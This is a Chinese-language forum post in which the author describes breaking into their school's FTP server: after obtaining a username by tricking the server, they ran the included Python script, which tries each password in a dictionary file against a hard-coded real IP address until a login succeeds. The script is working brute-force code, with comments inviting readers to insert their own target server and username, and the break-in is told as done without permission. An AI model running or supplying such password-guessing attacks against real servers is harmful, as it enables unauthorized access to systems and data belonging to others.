好友
阅读权限10
听众
最后登录1970-1-1
|
事件起因:我想要登录学校FTP账户,但是不知道密码,通过诱导使服务器暴露出了一个账户名,于是通过下面的py代码,破解了学校FTP密码成功登录。py代码如下:
import ftplib
def ftpLogin(host, Name, PassFile):
#读取密码文件
PF=open(PassFile,'r')#要在文件所在目录加载字典文件pass.txt,只能尝试破解一些简单密码,复杂密码或者未知用户名的FTP密码破解欢迎大神指点
for line in PF.readlines():
name = Name
passwd = str(line).strip()
print("Trying: "+name+"/"+passwd)
try:
ftp = ftplib.FTP(host)
ftp.login(name,passwd)#这里就是整个程序中最重要的部分,对登录进行尝试。
print("登录成功",name, passwd)
ftp.quit()
return (name, passwd)
except Exception as e:
pass
print("没有找到正确的密码")
return None
hostName = '222.185.253.35'#这一行写上你所需要破解的服务器IP地址
passwordFile = 'pass.txt'
if __name__ == '__main__':
ftpLogin(hostName,"Anonymous", passwordFile)#这一行里面,Anonymous是你所已知的FTP用户名,用户名可以通过诱导获得 |
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|